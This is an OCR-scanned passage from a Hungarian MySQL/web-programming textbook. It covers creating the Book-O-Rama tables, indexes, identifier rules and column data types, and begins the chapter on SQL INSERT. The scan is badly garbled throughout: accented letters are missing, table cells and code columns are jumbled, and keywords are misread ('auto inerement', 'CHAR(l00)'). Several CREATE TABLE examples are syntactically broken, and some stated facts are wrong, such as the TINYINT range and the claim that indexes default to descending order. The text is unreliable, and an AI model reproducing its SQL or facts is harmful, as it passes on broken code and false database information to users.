ha tudjuk, hogy a MySQL-ben nem csak egyfle tblatpus vagy trolmotor rhet el, hanem tranzakcibiztos tpusokat is vlaszthatunk. A tblatpusokat a Halad MySQL-programozs cm B. fejezetben trgyaijuk meg. Egyelre adatbzisunk minden tblja az alaprtelmezett trolmotort, a MyiSAM-et hasznlja.

A tabla_neve helyre a ltrehozni kvnt tbla nevt, az oszlopok helyre pedig a tblba sznt oszlopok vesszvel elvlaszton listjt kell bernunk. Minden oszlopnl meg kell adni annak nevt, majd tpust. Emlkeztetsknt lljon itt ismt a Book-O-Rama adatbzis smja:
Vasarlok(VasarloiD, Nev, Lakeim, Varas) Osszeg, Datum) Megrendelesek(RendelesiD, Konyvek(ISBN, Szerzo, Cim, VasarloiD, Ar) ISBN, Darabszam)

Rendelesi_tetelek(RendelesiD, Konyv_Ertekelesek(ISBN,

Ertekelesek)

A 9.1 pldakd a fenti tblk ltrehozshoz szksges SQL kd. Ez felttelezi, hogy mr ltrehoztuk a konyvek nev adatbzist. A knyv http://www.perfactkado.hu/mellekletek oldalrl letlthet mellkletben a
sql 9_ fej ezet/bookorama.

fjlban talljuk ezt az SQL-t.


-u boakorama -D konyvek -p
<

Meglv, pldul a mellkletekbl betlttt SQL fjlt a kvetkezkppen futtathatunk a MySQL-lel:


>

mysql -h host

bookorama.sql

(Ne feledjk el a host helyre berni hosztunk nevt s meghatrozni a boakorama. sql fjl teljes elrsi tvonalt!) A fjltirnyts (file redirection) azrt praktikus dolog, mert futtats eltt neknk tetsz szvegszerkesztben dolgozha tunk az SQL kdon.
9.1 pldakd: boakorama. sql
CREATE TABLE vasarlok

-A Book-O-Rama alkalmazs tblit ltrehoz SQL kd

VasarloiD INT UNSIGNED NOT NULL auto nev CHAR(50) NOT NULL, lakeim CHAR(l00) NOT NULL,

inerement

PRIMARY KEY,

varas CHAR(30) NOT NULL

CREATE TABLE megrendelesek

rendelesiO INT UNSIGNED NOT NULL auto inerement vasarloiD INT UNSIGNED NOT NULL, asszeg FLOAT(6,2), datum DATE NOT NULL );

PRIMARY KEY,

CREATE TABLE konyvek

isbn CHAR(l3) NOT NULL PRIMARY KEY, szerzo CHAR(50), eim CHAR(l00),

);

ar FLOAT(4,2)

CREATE TABLE rendelesi tetelek

Webes adatbzis ltrehozsa

157

rendelesiO INT UNSIGNED NOT NULL, isbn char(l3) NOT NULL, PRIMARY KEY (rendelesiD, isbn)

darabszam TINYINT UNSIGNED,

);
CREATE TABLE konyv_ertekelesek

isbn CHAR(l3) ertekeles TEXT

NOT NULL

PRIMARY KEY,

);
Minden tblt kln CREATE TABLE utasts hoz ltre. Lthatjuk, hogy a sma minden tblja az elz fejezetben kiala ktott oszlopokkal jn ltre. Minden oszlop neve utn megjelenik az adattpusa, egyes oszlopok pedig tovbbi specifiklkkal is rendelkeznek.

A tbbi kulcssz jelentsnek megismerse


A NOT NULL azt jelenti, hogy a tbla minden sorban rtknek kell lennie ennl a tulajdonsgnL Ha nem adjuk ki ezt a kulcsszt, a mez lehet res (NULL ) .
AzAUTO_INCREMENT

olyan klnleges MySQL funkci, amit egsz tpus oszlopokon hasznlhatunk. Ez azt jelenti,

hogy ha resen hagyjuk a mezt, amikor sorokat szrunk a tblba, akkor a MySQL automatikusan egyedi azonost rtket fog ellltani. Ez az oszlopban tallhat maximlis rtknl eggyel nagyobb lesz. AzAUTO _INCREMENT tpus mezbl min den tblban csak egy lehet. AzAUTO INCREMENT-tel meghatrozott oszlopokat indexeini kell.
_

Az oszlop mg rt PRIMARY KEY kulcssz azt jelzi, hogy ez az oszlop a tbla elsdleges kulcsa. Ebben az oszlopban egye di rtkeknek kell lennik. A MySQL automatikusan indexeli ezt az oszlopot. Ahol a 9.1 pldakdban hasznltk-nevesen a vasarlok tbla vasarloiD oszlopban-, azAUTO_INCREMENT kulcsszval egytt jelent meg. Az elsdleges kulcs auto matikus indexe gondoskodik azAUTO INCREMENT ltal elvrt indexrl is.
_

Az egy mezbl ll elsdleges kulcsot tartalmaz tbla esetn az oszlopnv mg rjuk a PRIMARY KEY kulcsszt. A m sik lehetsg a rendelesi _tetelek utasts vgnl lthat PRIMARY KEY mellkg hasznlata. Azrt ezt alkalmaztuk itt, mert a tbla elsdleges kulcsa a kt oszlopbl jn ki. (Ez az indexet is a kt oszlop alapjn hozza ltre.) Az egsz tpus utn rt UN SIGNED kulcssz azt jelenti, hogy az oszlopba csak nulla vagy pozitv rtk kerlhet.

Az oszloptpusok
Pldaknt vizsgljuk meg az els tblt:
CREATE TABLE vasarlok

vasarloiD INT nev CHAR(50)

UNSIGNED NOT NULL auto_increment PRIMARY NOT NULL, NOT NULL,

KEY,

lakeim CHAR(l00) varas CHAR(30)

NOT NULL

);
Tbla ltrehozsakor dntst kell hoznunk az oszlopok tpusrL
Avasarlok

tbla-mint azt a sma is meghatrozza- ngy oszlopbl ll. Az els, a vasarloiD az elsdleges kulcs,

ezt kzvedenl meghatroztuk. Eldntttk, hogy egsz (INT) adattpus lesz, s az azonosrknak nem negatv rtkeknek (UNSIGNED ) kell lennik. AzAUTO _INCREMENT funkci nyjtotta elnyket is kihasznljuk, gy a MySQL automatikusan kezelni fogja szmunkra az azonostkat, s eggyel kevesebb dologra kell figyelnnk. Az sszes tbbi oszlop karakterlnc (string) tpus adatot fog trolni. Ezekhez a CHAR adattpust vlasztottuk. Ez a tpus rgztett szlessg mezket hatroz meg. A szlessget zrjelben adhatjuk meg, e szerint a nev pldul legfeljebb 50 karak ter hossz lehet. Ez az adattpus minden esetben 50 karakternyi trolhelyet oszt ki a nvre, akkor is, ha nem mindet hasznljuk fel. A MySQL szkzkkel tlti fel az adatot, hogy a megadott mretv tegye. Az adattpus lehetsges alternatvja a V ARCHAR, amely csak a tnylegesen szksges trolhelyet hasznlja (s mg egy bjtot). A kt tpus kztt az is a klnbsg, hogy a VARCHAR kevesebb helyet hasznl, m a CHAR gyorsabb.

158

9. fejezet

Lthatjuk, hogy minden oszlopot a NOT NULL kulcsszval deklarl tak. Ezt az apr optimalizlsi lpst minden lehetsges helyen rdemes alkalmazni, mert ltala kicsit gyorsabban futnak a dolgok. A:z. optimalizlssal a 12. fejezetben rszletesebben is foglalkozunk. Ms CREATE utastsoknl eltr szintaktikt lthatunk. V izsgljuk meg a megrendelesek tblt ltrehoz kdot:
CREATE TABLE megrendelesek

rendelesiO INT UNSIGNED NOT NULL auto vasarloiD INT UNSIGNED NOT NULL, osszeg FLOAT(6,2), datum DATE NOT NULL

inerement

PRIMARY KEY,

);
A:z. osszeg oszlop a meghatrozs szerint float rpus lebegpontos szmot trol. A lebegpontos adattpusok nagy r

sznl meghatrozhatjuk a megjelents szlessgt s a tizedeshelyek szmt. A pldban a rendels rtkt dollrban szmt juk ki, ezrt a vgsszegnek kellen nagy

(6 karakter szlessg) helyet, a centeknek pedig kt tizedeshelyet hatroztunk meg.

A dtumot tartalmaz datum oszlop DATE adattpus. A tbla az osszeg kivtelvel minden oszlopot NOT NULL-knt, azaz nem resknt hatroz meg. Mi ennek az oka? Amikor rendelst visznk az adatbzisba, a megrendelesek tblban kell ltrehozni, hozzadjuk a rendelt tteleket a rendeles i_t etelek tblhoz, majd kiszmtjuk a vgsszeget. A rendels ltrehozsakor nem tudjuk a vgsszege t, gy megengedjk, hogy NULL , vagyis res legyen. A konyvek tbla rszben hasonl tulajdonsgokkal br:
CREATE TABLE konyvek

isbn CHAR(l3) NOT NULL PRIMARY KEY, szerzo CHAR(SO), eim CHAR(l00), ar FLOAT (4, 2)

);
Itt nem szksges elsdleges kulcsot generlni, mert az ISBN-kdok ellltsa mshol trtnik. A tbbi mezt azrt hagy juk resen, mert egy knyvesbolt hamarabb megtudhatja a knyvek ISBN-kdjt, mint cmt ( eim) , szerzjt ( szerzo) vagy rt (ar). A rendelesi_tetelek tbla megmutatja, hogyan kell tbboszlopos (multicolumn) elsdleges kulcsokat ltrehozni:
CREATE TABLE rendelesi tetelek

rendelesiO INT UNSIGNED NOT NULL, isbn char(l3) NOT NULL, darabszam TINYINT UNSIGNED, ); PRIMARY KEY (rendelesiD, isbn)

A tbla TINYINT UNSIGNED tpusknt hatrozza meg az adott knyvek mennyisgt. Ez a tpus O s 255 kztti egsz szmot kpes trolni. Korbban mr jeleztk, hogy a tbboszlopos elsdleges kulcsokat klnleges elsdlegeskulcs-mellkggal hatrozzuk meg. Pontosan ezt alkalmaztuk itt. Vgezetl vizsgljuk meg a konyv_ ertekelesek tblt:
CREATE TABLE konyv_ertekelesek

isbn CHAR(l3) NOT NULL PRIMARY KEY, ertekeles TEXT

);
Ez a tbla egy j, korbban mg nem trgyalt adattpust hasznl: a TEXT hosszabb szvegekhez, pldul cikkekhez alkal mazhat. Ltezik nhny vltozata, amit a fejezet egy ksbbi rszben rszletesebben bemutatunk. A tblk ltrehozsnak mlyebb megismerse rdekben vizsgljuk meg az oszlopneveket s azonostkat ltalnossgban,

majd tekintsk t az oszlopokhoz vlasztott adattpusakad Elszr azonban nzzk meg a ltrehozott adatbzist!

Webes adatbzis ltrehozsa

159

Az adatbzis megtekintse a SHOW s a DESCRIBE paranccsal


Jelentkezznk be a MySQL monitorba, s vlasszuk ki a konyvek adatbzist! Az ebben lv tblkat a kvetkez utasts begpelsvel tekinthetjk meg:
mysql> SHOW TABLES;

A MySQL ekkor egy, az adatbzisban lv sszes tblt tartalmaz listt jelent meg:
+-------------------+

l Tables in konyvek
konyv_ertekelesek konyvek vasarlok rendelesi tetelek megrendelesek

+-------------------+

+-------------------+

5 rows in set

(0.06 sec)

A show paranccsal az adatbzisok listjt is kirathatjuk:


mysql> show databases;

Ha nem rendelkeznk SHOW DATABASE$ jogosultsggal, akkor csak azon adatbzisok listjt ltjuk, amelyekhez jogosult sggal brunk. Tovbbi informcit kapharunk egy adott tblrl, pldul a konyvek-rl a DESCRIBE paranccsal:
mysql> describe konyvek;

A MySQL ekkor megjelenti az adatbzis ltrehozsakor ltalunk megadott adatokat:


+--------+------------+------+-----+---------+-------+

l Field
isbn szero eim ar

Type

Null

Key

Default

Extr a

+--------+------------+------+-----+---------+-------+

char (13) char (50) char (100) float(4,2)

NO YES YES YES

PRI

NULL NULL NULL NULL

+--------+------------+------+-----+---------+-------+

rows in set

(0.00 sec)

Ezek a parancsok kivlan alkalmasak arra, hogy esznkbe juttassk egy adott oszlop tpust, vagy naviglni rudjunk a nem ltalunk ltrehozott adatbzisokban.

lndexek ltrehozsa
Rviden beszltnk mr az indexekrl, mert az elsdleges kulcsok kijellse indexeket hoz ltre azokon az oszlopokon. Az j MySQL-felhasznlk gyakran panaszkodnak az adatbzis gyenge teljestmnyre, pedig azt hallottk a MySQL-rl, hogy villmgyors. problma oka, hogy nem hoztak ltre indexeket az adatbzisukban.(Tblkat ugyanis elsdleges kulcsok A vagy indexek nlkl is ltre lehet hozni.) Kezdskppen tkletesen megfelelnek szmunkra az automatikusan ltrehozott indexek.Ha a ksbbiekben azt tapasztal juk, hogy sok lekrdezst futtarunk egy olyan oszlopon, amely nem kulcs, rdemes lehet a teljestmnynvels rdekben inde xet adni az oszlophoz. A CREATE INDEX utastssal tehetjk ezt meg. Az utaSts ltalnos alakja:
CREATE [UNIQUEIFULLTEXT] INDEX index neve

ON tabla_neve (index_oszlop_nev

[(hossz) l [ASC l DESC], ...] ) (A FULLTEXT indexek szvegmezk indexelsre szolglnak; hasznlarukat a 13. fejezetben mutatjuk be.) Az opcionlis hoss z mezvel megadhatjuk, hogy csak a mez els hossz karaktere legyen indexelve. Azt is meghatroz hatjuk, hogy az index emelked ( ASC ) vagy cskken (DESC ) legyen; a cskken az alaprtelmezett.

160

9. fejezet

MySQL azonostk
tfle azonostt hasznlunk MySQL-ben: az adatbzisokat,a tblkat,az oszlopokat s az indexeket - amelyeket mr mind jl ismernk -,valamint az aliasokat,amelyekkel a kvetkez fejezetben fogunk foglalkozni. A MySQL adatbzisok a mgttes fjlszerkezet mappinak,a tblk pedig a fjloknak felelnek meg. Ennek kzveclen hatsa van az ezeknek adott nevekre,illetve azok kisbet-nagybet-rzkenysgt is befolysolja: ha az opercis rendszer mappa- s fjlnevei megklnbztetik a kis- s nagybetket,akkor az adatbzis- s tblanevek is gy tesznek (pldul Unix alatt); egyb knt nem (pldul Windows alatt). Az oszlop- s aliasnevek nem tesznek klnbsget a kis- s nagybetk kztt,m ugyan azon SQL utasrson bell nem hasznlhatjuk ugyanannak a nvnek klnbz vltozatt. Az adatokat tartalmaz mappa s fjlok helyt a konfigurci hatrozza meg. A mysqladrnin parancs albbi hasznlatval derthetjk ki,hogy rendszernkn ez hol tallhat:
>

mysqladrnin -h host

-u

root -p variables

Ezt kveten keressk meg a datadir vltozt! s ASCII(255) karaktereket,illetve idzjeleket nem hasznlhatunk az azonosrkban (szintn szlva nem is igazn rtjk, mirt akarnnk ezeket hasznlni). 9.4 tblz;at: MySQL azonostk
Tpus

A 9.4 tblzatban a lehetsges azonosrk sszefoglalst talljuk meg. Mg egy kikts van, nevezetesen az, hogy ASCII(O)

Max. hosszsg 64 64 64 64

Kisbet-nagybet-rzkenysg

Megengedett karakterek

Adatbzis Tbla Oszlop Index Alias

az opercis rendszerrel egyez az opercis rendszerrel egyez nem nem nem

Az opercis rendszer ltal a mappanevekben meg engedett sszes karakter,kivve: l, \ s . Az opercis rendszer ltal a fjlnevekben megen gedett sszes karakter,kivve: l s . Brmilyen karakter Brmilyen karakter Brmilyen karakter

255

Ezek a szablyok rendkivl megengedk. Az azonosrkban akr fenntartott szavakat s brmilyen klnleges karaktert hasznlhatunk. Az egyetlen megkts,hogy ezek alkalmazsa esetn fordtott aposztrfok (backtick) kz kell raknunk ket. Pldul: create database 'create database'; Termszetesen a jzan sz hatrain bell rdemes lni ezzel a szabadsggal. Pusztn azrt, mert egy adatbzisnak akr a 'create database' nevet is adhatjuk, nem biztos,hogy tnyleg ezt kell vlasztani. Ugyanaz az elv rvnyes itt is,mint brmilyen programozs esetn: hasznljunk rtelmes azonostkarl

Oszlopok adattpusainak kivlasztsa


Az oszlopok hrom alaptpusa MySQL-ben a numerikus,a dtum s id s a karakterlnc. Ezen kategrikon bell szmos to vbbi tpus tallhat. Itt csak sszefoglaljuk ezeket,erssgeikrl s gyengesgeikrl a ban azt a legkisebb tpust kell vlasztani,amelyben elfrnek az adataink. Sok adattpus esetn fennll,hogy arnikor ltrehozunk egy adott tpus oszlopot,meghatrozhatjuk a maximlis megjele ntsi hosszsgot. A kvetkez tblzatokban szgletes zrjelek kztti M betvel jellrk az ilyen adattpusokat. Az M maxi mlis rtke 255 lehet. A most kvetkez lersokban szgletes zrjelben jelljk az opcionlis rtkeket.

12. fejezetben olvashatunk rszletesebben.

Mindhrom tpust klnfle trolsi mretben vlaszthatjuk. Amikor valamelyik oszloptpus mellett dnrnk, ltalnossg

Numerikus tpusok
A numerikus tpusok egsz vagy lebegpontos szmok. Utbbi esetn meghatrozhatjuk a tizedespont (tizedesvessz) utni

tizedesjegyek szmt. Ezt az rtket knyvnkben D-vel jelljk. A D legnagyobb rtke 30 vagy M- 2 (vagyis a maximlis meg jelentsi hosszsg mnusz kett - egy karakter a tizedespontnak, egy pedig a tizedesjegynek) kzl a kisebb. Egsz tpusoknl azt is meghatrozhatjuk,hogy UN SIGNED (nulla vagy pozitv) szmok legyenek. Erre a 9.1 pldakdban lthatunk pldt.

Webes adatbzis ltrehozsa

161

Minden numerikus tpusnl megadhatjuk a ZEROFILL tulajdonsgot. Amikor ZEROFILL oszlopbl szrmaz rtke ket jelentnk meg, vezet nullval lesznek kitltve. Ha egy oszlopra belltjuk a ZEROFILL tulajdonsgot, automatikusan
UNSIGNED is lesz.

Az egsz tpusokat a 9.5 tblzat tartalmazza. A tblzatban kzlt tartomnyok kzl az els sor sik az eljel nlkli ( unsigned). 9.5 tblzat: Egsz adattpusok Tpus
TINYINT [ (M) l BIT BOOL SMALLINT [ (M) l MEDIUMINT [ (M)]
-32768. .32767 vagy 0..65535 -8388608.. 8388607 vagy 0 ..16777215 -231 231- l vagy 0..232- l 2 3

az

eljeles (signed), a m

Tartomny
-127..128 vagy 0 ..255

Trolsi mret (bjt)


l

Lers
Nagyon kicsi egsz szmok A TINYINT tpussal megegyez A TINYINT tpussal megegyez Kis egsz szmok Kzepes mret egsz szmok Norml egsz szmok Az INT tpussal megegyez Nagy egsz szmok

INT[ (M) l INTEGER [ (M)] BIGINT [ (M)]

-263 263

l vagy 0..264 - l

A lebegpontos tpusokat a 9.6 tblzatban talljuk.


9.6 tblzat: Lebegpontos adattpusok

Tpus
FLOAT(pontossg)

Tartomny
A pontossgtl fgg

Trolsi m ret (bjt)


Vltoz

Lers
Egyszeres vagy ketts pontossg le begpontos szmok meghatrozsra hasznlhat.

FLOAT [ (M,D)]

1.175494351E-38 3.402823466E+ 38

Egyszeres pontossg lebegpontos szm. Ezek a szmok megegyeznek a FLOAT (4) tpusakkal, m megha trozott megjelentsi szlessggel s meghatrozott szm tizedesjegyekkel rendelkeznek.

DOUBLE [ (M,D)]

1.7976931348623157E+ 308 2.2250738585072014E-308

Ketts pontossg lebegpontos szm. Ezek a szmok megegyeznek a FLOAT (8) tpusakkal, m megha trozott megjelentsi szlessggel s meghatrozott szm tizedesjegyekkel rendelkeznek.

DOUBLE PRECISION[ (M, D) ] REAL [ (M, D) ] DECIMAL [ (M [,D]) l

Mintfenn Mintfenn Vltoz


M+2

A DOUBLE [ (M, D) l tpussal meg egyez. A DOUBLE[ (M, D) l tpussal meg egyez. Lebegpontos szm, amely CHAR-knt troldik. A tartomny a megjelentsi szlessgtl ( M) fgg.

NUMERIC [ (M,D) l DEC [ (M,D)] FI XED [ (M,D)]

Mint fenn Mintfenn Mintfenn

A DECIMAL tpussal megegyez. A DECIMAL tpussal megegyez. A DECIMAL tpussal megegyez.

162

9. fejezer

Dtum s id tpusok
A MySQL sokfle dtum s id tpusr tmogat; a 9.7 tblzarban Jrjuk ezeket. Minden tpusnl karakrerlnc- s numerikus formrumban is bevihetjk az adatokat. rdemes megjegyezni, hogy egy adorr sor TIMESTAMP oszlopnak rrke a soron vgzerr legutols mveler drumr s idponcjr fogja murarni - kivve, ha sajt kezleg ms rrkre lltjuk Ez a funkci a rranzakcik rgztsnl lesz igazn hasznos.
9.7 tblzat: Dtum

s id adattpusok Tartomny
1000-01-01 9999-12-31 -838:59:59 838:59:59

Tpus
DATE

Lers
YYYY-MM-DD

formrumban megjelen drum.

TIME

HH: MM: SS

formrumban megjelen id. Figyeljk meg, hogy

rarromnya sokkal nagyobb, minr amire valaha is szksgnk lehet!


YYYY-MM-DD HH: MM: SS

DATETIME

1000-Ol- Ol 00:00:00 9999-12-31 23:59:59 1970- Ol- Ol 00:00:00 Valamikor 2037-ben

formrumban megjelen drum

s id. Tranzakcikversre hasznos idblyeg. A megjelentsi for mrum az M rckrl fgg (lsd a kvetkez, 9.8 rblzaror!). A tartomny fels harra a Unix korirjrl fgg. v. Kr- s ngyszmjegy formrum vlaszthat, amelyek eltr rarromnnyal rendelkeznek.

TIMESTAMP [ (M) l

YEAR [ (2 l 4) l

70-69 ( 1970-2069) 1901-2155

A 9.8 tblzat a TIMESTAMP klnbz megjelentsi tpusair tartalmazza.


9.8

tblzat: A TIMESTAMP megjelentsi tpusai Megjelents


YYYYMMDDHHMMSS YYYYMMDDHHMMSS YYMMDDHHMMSS YYMMDDHHMM YYYYMMDD YYMMDD YYMM
yy

Kivlasztort tpus
TIMESTAMP TIMESTAMP(14) TIMESTAMP(12) TIMESTAMP(lO) TIMESTAMP(S) TIMESTAMP(6) TIMESTAMP(4) TIMESTAMP(2)

Karakterlnctpusok
A karakterlnc-tpusok hrom csoportba sorolhatk. Az els csoportba az egyszer karakterlncok- vagyis a rvid szvegda rabok-tartoznak. Ez a CHAR (meghatrozott karakrerhosszsg) s a VARCHAR (vltoz karakrerhosszsg) tpus. Mind kerrnek meghatrozhatjuk a szlessgt. A CHAR tpus oszlopokban lv adatok mrerkrl fggetlenl szkzkkel vannak a maximlis szlessgre kirlrve, a VARCHAR oszlopok szlessge ugyanakkor a bennk lv adarrl fggerr vltozik. (Irr kell megemlteni, hogy a MySQL CHAR tpus adatok visszakeressnl s VARCHAR tpus adatok eltrolsnllevgja azokrl a sor vgi (zr) szkzker.) A kr tpus kzrt vlasztskor a trhely s a sebessg kzrti rvitssal szembeslnk, arnirl rszlete sebben olvasharunk majd a 12. fejezetben. A msodik csoportba a TEXT s a BLOB tpus tartozik. Ezek a klnbz mrerekben elrhet tpusok hosszabb szveghez, illetve binris adarokhoz valk. A B LOB-ok, amelyek a bitiary large object (nagy binris objekrumok) kifejezsbl kaprk nevket, brrnir kpesek trolni -gy kpet vagy hangadator is. A gyakoriarban a BLOB s a TEXT tpus oszlopok megegyeznek, az egyeden klnbsg kzrrk, hogy a BLOB kisber-nagyber-rzkeny, a TEXT nem az. Mivel ezek az oszloptpusok nagy mennyisg ada

rot kpesek trolni, hasznlarukat rdemes klnsen megfontolni. Ezzel a krdssel a 12. fejezetben foglalkozunk rszleresen. A harmadik csoportba kr klnleges tpus tartozik: a SET s az ENUM. A SET tpus azt rja el, hogy az adott oszlopban lv rtkeknek meghatrozorr rtkhalmazbl kell szrmazniuk Az oszlopban lv rrkek a halmaz egynl tbb rtkt tartalmaz hatjk. Egy adott halmaz legfeljebb 64 elembl llhat.

Webes adatbzis ltrehozsa

163

Az ENUM az angol enumeration, azaz felsorols kifejezsbl addik. A SET tpushoz nagyon hasonl, m az kztk a k lnbsg, hogy az ilyen tpus oszlopok a megadott rtkek s a NULL kzl egyet vehetnek fel, s a felsorols legfeljebb 65 535 elemet tartalmazhat. A karakterlnc-adattpusokat a 9.9, 9.10 s 9.11 tblzatban foglaltuk ssze. A rpusokat talljuk. 9.9 tblzat: Hagyomnyos karakterlnc-tpusok Tpus
[NATIONAL] [BINARY l UNICODE] CHAR(M) ASCII l

9.9 tblzatban az egyszer karakterlnc

Tartomny
O- 255 karakter

Lers
M rgztett hosszsg karakterlnc, ahol M O s

255 kz esik.

A NATIONAL kulcssz meghatrozza, hogy az alaprtelmezett ka rakterkszletet kell hasznlni. Ez is az alaprtelmezett MySQL-ben, azrt szerepel mgis, merr az ANSI SQL szabvny rsze. A BINARY kulcssz azt eredmnyezi, hogy az adatot kisbet-nagybet rzkenyknt kell kezelni. (A kisbet-nagybet-rzkenysg az alap rtelmezett.) Az ASCII kulcssz azt hatrozza meg, hogy az oszlop ban latinl karakterkszlet lesz hasznlva. Az UNICODE kulcssz az ucs karakterkszlet hasznlatt jelzi.

CHAR [NATIONAL] VARCHAR(M)

A CHAR (l) tpussal megegyez.

1- 255 karakter
[BINARY]

Mint fent, csak vltoz hosszsgak.

A 9.10 tblzat a TEXT s a BLOB tpusokat mutatja be. Egy TEXT mez karakterekben kifejezett maximlis hossza az abban a mezben trolhat fjl bjtokban kifejezert maximlis mretve[ egyenl. 9.10 tblzat: A TEXT s a BLOB tpusok Tpus
TINYELOB TINYTEXT BLOB TEXT MEDIUMBLOB MEDIUMTEXT LONGBLOB LONGTEXT

Maximlis hossz (karakterekben)

Lers Apr nagy binris objektum (BLOB) mez Apr TEXT mez Norml mret BLOB mez Norml mret TEXT mez Kzepes mret BLOB mez Kzepes mret TEXT mez Hossz BLOB mez Hossz TEXT mez

28- l (vagyis 255) 28 -l (vagyis 255) 216- l (vagyis 65 535) 216-l (vagyis 65 535) 224- l (vagyis 16 777 215) 224 -l (vagyis 16 777 215) 232-1 (vagyis 4 294 967 295) 232- l (vagyis 4 294 967 295)

A 9.11 tblzat az ENUM s a SET tpusr mutatja be.

9.11 tblzat: Az ENUM s a SET tpus


Tpus
ENUM (ertekl',

A halmaz elemeinek ma

Lers Az ilyen tpus oszlopok a felsorolt rtkek s a NULL kzl egyet trolhatnak. Az ilyen tpus oszlopok a meghatrozort rtkek egy halmazr vagy a NULL rtket trolhatjk.

ximlis szma

65 535 64

,ertek2', ...)
SET (ertekl', ,ertek2', ...)

164

9. fejezet

Tovbbi olvasnival
Az adatbzisok ltrehozsrl a MySQL online kziknyvben (http:/ /www.mysql.com) olvashatunk bvebben.

Hogyan tovbb
Miutn megtudruk, hogyan hozharunk ltre felhasznlkat, adatbzisokat s tblkat, figyelmnket az adatbzissal val mun kra fordtjuk. A kvetkez fejezetben megnzzk, hogyan vihetnk adatokat a tblba, hogyan frissthetjk s trlhetjk azokat, illetve hogyan krdezhetnk le az adatbzisbL

10 unkavgzsySL adatbzisunkkal
A fejezetben bemutatjuk
az SQL-t,

illetve ttekintjk hasznlatt az adatbzisok lekrdezsre. Folytatjuk a Book-O-Rama adat

bzis fejlesztst, megtanuljuk, hogyan lehet adatokat beszrni, trlni s frissteni, illetve hogyan krdezhetnk le az adatbzisbL A fejezetben az albbi fbb tmakrkkel foglalkozunk: Mi az SQU

Adatok beszrsa adatbzisba Adatok visszakeresse adatbzisbl Tblk sszekapcsolsa Egymsba gyazott lekrdezsek hasznlata Rekordok frisstse az adatbzisban Tblk mdoscsa ltrehozsuk utn Rekordok rrlse az adatbzisbl Tblk trlse

Elszr is bemutatjuk, mi az SQL, majd kiderl az is, hogy mirt rdemes hasznlni. Ha eddig mg nem hoztuk volna ltre a Book-O-Rama adatbzist, tegyk meg most, klnben nem fogjuk tudni nmatni a fejezetben lv SQL lekrdezseket! Az erre vonatkoz utastsokat a

Webes adatbzis ltrehozsa cm 9. fejezeeben talljuk.

MiazSQL:
Az SQL a Structured

Query Language, azaz a strukturlt lekrdez nyelv rvidtse. A legelterjedtebb nyelv relcis adatbzis-ke zel rendszerek (RDBMS) elrsre. Az SQL-lel adatokat trolhatunk az adatbzisban, illetve visszakereshetjk azokat. Tbbek
kztt olyan adatbzisrendszerek hasznljk, mint a MySQL, az Oracle, a PostgreSQL, a Sybase s a Microsoft SQL Server. Az SQL-hez ANSI-szabvny tartozik, s a MySQL, illetve a hozz hasonl adatbzisrendszerek ltalban ennek a szab vnynak a megvalstsra trekszenek. Nhny apr eltrs van a szabvnyos SQL s a MySQL SQL-je kztt. Ezen klnb

sgek egy rszt a MySQL ksbbi verziiban tervezik megszntetni, msik rszk azonban szndkos. A fontosabb eltrsek re menetkzben kicrnk majd. A MySQL ltal hasznlt SQL s az ANSI SQL kzrri klnbsgek celjes lisrja a MySQL online kziknyvben tallhat meg. Az adott oldalt - egyebek kztt - az albbi cmen rhetjk el: http:/ l dev.mysql.com/ doc/re&nan/5.1/ en/ comparibiliry.htrnl. Bizonyra tallkoztunk mr lekrdezsre hasznlt
az- adarbzisok definilsra hasznlt Data Definition Language (DDL), illetve az- adatbzisok -Data Manipulalion Language (DML) kifejezssel. Az elbbi jelentse adatdefincis nyelv, az utbbi pedig
-

adatkezel nyelv. Az SQL rnindkettt lefedi. A 9. fejezetben tallkoztunk az SQL-beli adatdefincival (DDL), s valamennyir mr
dolgozrunk is vele. A D DL-re az adarbzis kezdeti ltrehozsakor, belltsakor van szksg. Az SQL DML oldalt sokkal gyak rabban hasznljuk, mert az az SQL-nek
az

adatok adatbzisban trolshoz s adatbzisbl visszakeresshez szksges rsze.

Adatok beszrsa adatbzisba


Mieltt komoly munkt vgezhetnnk az adatbzissal, adatokat kell el trolni benne. A leggyakrabban az SQL INSERT uras rst fogjuk hasznlni erre. Emlkezhetnk, hogy
az

RDBMS-ek tblkbl llnak, amelyek pedig oszlopokba rendezett adatok sorait tartalmazzk.
az

A tblk egy-egy sora ltalban valamilyen vals vilgbeli objektumot vagy kapcsolatot r le, s az adott sor oszloprtkei trol jk a vals vilgbeli objektumra vonatkoz informcikat. Adatsorokat

INSERT utastssal helyezhetjk az adatbzisba.

166

10. fejezet

Az INSERT INSERT

utasts ltalnos formja a kvetkez:


tabla [(oszlopl, oszlop2, oszlop3, ... }]

[INTO]

VALUES

10

(ertekl,

ertek2,

ertek3, ...};

Pldul ahhoz, hogy a Book-O-Rama adatbzis vasarlok tbljba szrjunk be egy rekordot, a kvetkezket kell begpelni: INSERT INTO
vasarlok VALUES '25 Oak Street', 'Airport West'}; ertek2

(NULL, 'Julie Smith',

Lthat, hogy a t abla helyre annak a tblnak a nevt rtuk, ahova adatokat szetetnnk pakolni, az ertekl,

stb. helyre pedig a konkrt rtkek mennek. Pldnkban az rtkek idzjelek kz kerltek. A karakterlncokat MySQL-ben mindig egyszeres vagy ktszeres idzjelek kz kell rakni. (Knyvnkben egyszeres s ktszeres idzjeleket egyarnt haszn lunk.) Szmok s drumok esetben nincsen szksg az idzjelekre. Az INSERT utastssal kapcsolarban rdemes nhny rdekessget megemlteni. Az irt megadort rtkek sorban fogjk a tblzat oszlopait kitlteni. Ha csak egyes oszlopokba szeretnnk adatot rakni, vagy msmilyen sorrendben szeretnnk meg hatrozni azokat, az utasts oszlopokra vonatkoz rszben fel kell sorolnunk ezeket az oszlopokat. Pldul: INSERT INTO
vasarlok (nev, varos} VALUES (Melissa Jones', N ar Nar Goon North') ; '

Ez a megkzelts akkor nyer rtelmet, ha csak rszleges adataink vannak egy adott rekordhoz, vagy a rekord egyes mezi nem ktelezen kirlrendk. Ugyanezt a vgeredmnyt rjk el a kvetkez szintakrikval is: INSERT INTO
lakeim varos
=

vasarlok

SET nev = 'Michael Archer',


=

'12 Adderley Avenue', 'Leeton';

Figyeljk meg, hogy Julie Smith adatainak megadsakor NULL

rtket hatrozrunk meg a vasarloid oszlopnak, a tbbi

